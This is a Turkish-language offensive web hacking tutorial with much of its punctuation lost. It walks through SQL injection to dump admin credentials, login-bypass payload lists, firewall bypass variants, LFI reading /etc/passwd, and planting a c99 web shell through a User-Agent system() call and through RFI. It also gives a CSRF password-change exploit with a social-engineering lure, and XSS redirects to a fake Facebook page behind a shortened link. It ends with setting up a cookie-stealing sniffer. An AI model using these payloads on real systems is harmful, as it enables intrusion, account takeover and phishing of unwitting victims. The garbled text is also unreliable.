Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
